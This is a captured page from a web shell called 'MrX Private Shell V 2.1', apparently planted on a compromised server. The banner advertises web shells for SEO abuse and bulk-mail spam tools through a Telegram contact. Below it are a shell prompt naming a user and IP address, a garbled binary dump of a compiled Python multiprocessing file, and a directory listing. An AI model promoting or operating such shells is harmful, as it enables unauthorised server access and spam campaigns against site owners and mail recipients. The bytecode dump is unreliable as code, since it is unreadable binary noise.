__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.243: ~ $
o

0�ij-�@s�ddlZddlmZddlZddlZddlZddlZddlZddlm	Z	m
Z
ddlmZdgZ
ejdkrAddlZGdd	�d	e�ZnGd
d	�d	e�Zdd�Zd
d�Ze	�ee�Gdd�de�ZGdd�de�ZdS)�N)�defaultdict�)�	reduction�assert_spawning)�util�
BufferWrapperZwin32c@s.eZdZ	e��Zdd�Zdd�Zdd�ZdS)�ArenacCsx||_td�D]!}dt��t|j�f}tjd||d�}t��dkr$n	|�	�qt
d��||_||_|j|jf|_
dS)N�dz	pym-%d-%s����ZtagnamerzCannot find name for new mmap)�size�range�os�getpid�next�_rand�mmap�_winapiZGetLastError�close�FileExistsError�name�buffer�_state)�selfr�irZbuf�r�;/opt/alt/python310/lib64/python3.10/multiprocessing/heap.py�__init__&s
�Arena.__init__cCst|�|jS�N)rr)rrrr�__getstate__5szArena.__getstate__cCs,|\|_|_|_tjd|j|jd�|_dS)Nr
r)rrrrr)r�staterrr�__setstate__9szArena.__setstate__N)	�__name__�
__module__�__qualname__�tempfileZ_RandomNameSequencerrr r"rrrrrsrc@s6eZdZ	ejdkrdgZngZd	dd�Zdd�ZdS)
rZlinuxz/dev/shmr
cCsx||_||_|dkr1tjdt��|�|�d�\|_}t�|�t�	|tj
|jf�t�|j|�t�|j|j�|_
dS)Nr
zpym-%d-)�prefix�dir)r�fdr&Zmkstemprr�_choose_dir�unlinkr�Finalizer�	ftruncaterr)rrr)rrrrrMs
�
rcCs6|jD]}t�|�}|j|j|kr|Sqt��Sr)�_dir_candidatesr�statvfs�f_bavail�f_frsizerZget_temp_dir)rr�d�strrrr*[s

�zArena._choose_dirN)r
)r#r$r%�sys�platformr.rr*rrrrrCs

cCs(|jdkr	td��t|jt�|j�ffS)Nr
zDArena is unpicklable because forking was enabled when it was created)r)�
ValueError�
rebuild_arenarrZDupFd)�arrr�reduce_arenads
r9cCst||���Sr)r�detach)rZdupfdrrrr7jsr7c@szeZdZdZdZdZejfdd�Ze	dd��Z
dd�Zd	d
�Zdd�Z
d
d�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)�Heap�i@cCsXt��|_t��|_||_g|_i|_i|_	i|_
tt�|_
g|_g|_d|_d|_dS�Nr)rr�_lastpid�	threadingZLock�_lock�_size�_lengths�_len_to_seq�_start_to_block�_stop_to_blockr�set�_allocated_blocks�_arenas�_pending_free_blocks�
_n_mallocs�_n_frees)rrrrrr{s



z
Heap.__init__cCs|d}|||@S)Nrr)�nZ	alignment�maskrrr�_roundup�sz
Heap._roundupcCsZ|�t|j|�tj�}|j|jkr|jd9_t�d|�t|�}|j	�
|�|d|fS)N�z"allocating a new mmap of length %dr)rN�maxrAr�PAGESIZE�_DOUBLE_ARENA_SIZE_UNTILr�inforrH�append)rr�length�arenarrr�
_new_arena�s
zHeap._new_arenacCs~|j}||jkr
dS|j�|�}|j|df=|j||f=|j�|�|j|}|�|d|f�|s=|j|=|j	�|�dSdSr=)
r�_DISCARD_FREE_SPACE_LARGER_THANrG�poprDrErH�removerCrB)rrVrU�blocks�seqrrr�_discard_arena�s

�zHeap._discard_arenac	Cs|t�|j|�}|t|j�kr|�|�S|j|}|j|}|��}|s+|j|=|j|=|\}}}|j||f=|j||f=|Sr)	�bisectZbisect_leftrB�lenrWrCrYrDrE)	rrrrUr\�blockrV�start�stoprrr�_malloc�s



zHeap._mallocc	Cs�|\}}}z	|j||f}Wn	tyYnw|�|�\}}z	|j||f}Wn	ty1Ynw|�|�\}}|||f}||}z
|j|�|�Wntyb|g|j|<t�|j|�Ynw||j||f<||j||f<dSr)	rE�KeyError�_absorbrDrCrTr^ZinsortrB)	rr`rVrarbZ
prev_block�_Z
next_blockrUrrr�_add_free_block�s.
��
�zHeap._add_free_blockcCs^|\}}}|j||f=|j||f=||}|j|}|�|�|s+|j|=|j�|�||fSr)rDrErCrZrB)rr`rVrarbrUr\rrrre�s


zHeap._absorbcCs8|\}}}|j|}|�||f�|s|�|�dSdSr)rGrZr])rr`rVrarbr[rrr�_remove_allocated_block�s

�zHeap._remove_allocated_blockcCs<	z|j��}Wn
tyYdSw|�|�|�|�qr)rIrY�
IndexErrorrgrh�rr`rrr�_free_pending_blockss�

�zHeap._free_pending_blockscCs�t��|jkrtd�t��|j���|j�d�s |j�|�dSz|j	d7_	|�
�|�|�|�|�W|j�
�dS|j�
�w)Nz$My pid ({0:n}) is not last pid {1:n}Fr)rrr>r6�formatr@�acquirerIrTrKrkrgrh�releaserjrrr�frees

��
z	Heap.freecCs�|dkrtd�|���tj|krtd�|���t��|jkr"|��|j	�D|j
d7_
|��|�t
|d�|j�}|�|�\}}}||}||krS|�|||f�|j|�||f�|||fWd�S1slwYdS)Nr�Size {0:n} out of range�Size {0:n} too larger)r6rlr4�maxsize�
OverflowErrorrrr>rr@rJrkrNrP�
_alignmentrcrgrG�add)rrrVrarbZ	real_stoprrr�malloc(s"
$�zHeap.mallocN)r#r$r%rtrXrRrrQr�staticmethodrNrWr]rcrgrerhrkrorvrrrrr;ss 

r;c@s"eZdZe�Zdd�Zdd�ZdS)rcCs^|dkrtd�|���tj|krtd�|���tj�|�}||f|_t	j
|tjj|fd�dS)Nrrprq)�args)r6rlr4rrrsr�_heaprvrrr,ro)rrr`rrrrFs

zBufferWrapper.__init__cCs&|j\\}}}}t|j�|||�Sr)r�
memoryviewr)rrVrarbrrrr�create_memoryviewOszBufferWrapper.create_memoryviewN)r#r$r%r;ryrr{rrrrrBs	)r^�collectionsrrrr4r&r?�contextrr�r�__all__r5r�objectrr9r7�registerr;rrrrr�<module>s(	
$!P

Filemanager

Name Type Size Permission Actions
__init__.cpython-310.opt-1.pyc File 685 B 0644
__init__.cpython-310.opt-2.pyc File 685 B 0644
__init__.cpython-310.pyc File 685 B 0644
connection.cpython-310.opt-1.pyc File 24.78 KB 0644
connection.cpython-310.opt-2.pyc File 22.93 KB 0644
connection.cpython-310.pyc File 24.99 KB 0644
context.cpython-310.opt-1.pyc File 12.57 KB 0644
context.cpython-310.opt-2.pyc File 11.21 KB 0644
context.cpython-310.pyc File 12.57 KB 0644
forkserver.cpython-310.opt-1.pyc File 8.2 KB 0644
forkserver.cpython-310.opt-2.pyc File 7.45 KB 0644
forkserver.cpython-310.pyc File 8.24 KB 0644
heap.cpython-310.opt-1.pyc File 7.49 KB 0644
heap.cpython-310.opt-2.pyc File 7.33 KB 0644
heap.cpython-310.pyc File 7.5 KB 0644
managers.cpython-310.opt-1.pyc File 39.63 KB 0644
managers.cpython-310.opt-2.pyc File 35.93 KB 0644
managers.cpython-310.pyc File 39.82 KB 0644
pool.cpython-310.opt-1.pyc File 24.58 KB 0644
pool.cpython-310.opt-2.pyc File 22.82 KB 0644
pool.cpython-310.pyc File 24.63 KB 0644
popen_fork.cpython-310.opt-1.pyc File 2.48 KB 0644
popen_fork.cpython-310.opt-2.pyc File 2.48 KB 0644
popen_fork.cpython-310.pyc File 2.48 KB 0644
popen_forkserver.cpython-310.opt-1.pyc File 2.42 KB 0644
popen_forkserver.cpython-310.opt-2.pyc File 2.42 KB 0644
popen_forkserver.cpython-310.pyc File 2.42 KB 0644
popen_spawn_posix.cpython-310.opt-1.pyc File 2.31 KB 0644
popen_spawn_posix.cpython-310.opt-2.pyc File 2.31 KB 0644
popen_spawn_posix.cpython-310.pyc File 2.31 KB 0644
popen_spawn_win32.cpython-310.opt-1.pyc File 3.39 KB 0644
popen_spawn_win32.cpython-310.opt-2.pyc File 3.31 KB 0644
popen_spawn_win32.cpython-310.pyc File 3.41 KB 0644
process.cpython-310.opt-1.pyc File 10.42 KB 0644
process.cpython-310.opt-2.pyc File 9.07 KB 0644
process.cpython-310.pyc File 11.01 KB 0644
queues.cpython-310.opt-1.pyc File 10 KB 0644
queues.cpython-310.opt-2.pyc File 9.86 KB 0644
queues.cpython-310.pyc File 10.06 KB 0644
reduction.cpython-310.opt-1.pyc File 8.12 KB 0644
reduction.cpython-310.opt-2.pyc File 7.46 KB 0644
reduction.cpython-310.pyc File 8.12 KB 0644
resource_sharer.cpython-310.opt-1.pyc File 5.15 KB 0644
resource_sharer.cpython-310.opt-2.pyc File 4.77 KB 0644
resource_sharer.cpython-310.pyc File 5.19 KB 0644
resource_tracker.cpython-310.opt-1.pyc File 5.3 KB 0644
resource_tracker.cpython-310.opt-2.pyc File 4.97 KB 0644
resource_tracker.cpython-310.pyc File 5.37 KB 0644
shared_memory.cpython-310.opt-1.pyc File 13.95 KB 0644
shared_memory.cpython-310.opt-2.pyc File 11.35 KB 0644
shared_memory.cpython-310.pyc File 14.16 KB 0644
sharedctypes.cpython-310.opt-1.pyc File 6.9 KB 0644
sharedctypes.cpython-310.opt-2.pyc File 6.66 KB 0644
sharedctypes.cpython-310.pyc File 6.95 KB 0644
spawn.cpython-310.opt-1.pyc File 6.55 KB 0644
spawn.cpython-310.opt-2.pyc File 6.12 KB 0644
spawn.cpython-310.pyc File 6.59 KB 0644
synchronize.cpython-310.opt-1.pyc File 10.78 KB 0644
synchronize.cpython-310.opt-2.pyc File 10.78 KB 0644
synchronize.cpython-310.pyc File 11.08 KB 0644
util.cpython-310.opt-1.pyc File 11.21 KB 0644
util.cpython-310.opt-2.pyc File 10.45 KB 0644
util.cpython-310.pyc File 11.24 KB 0644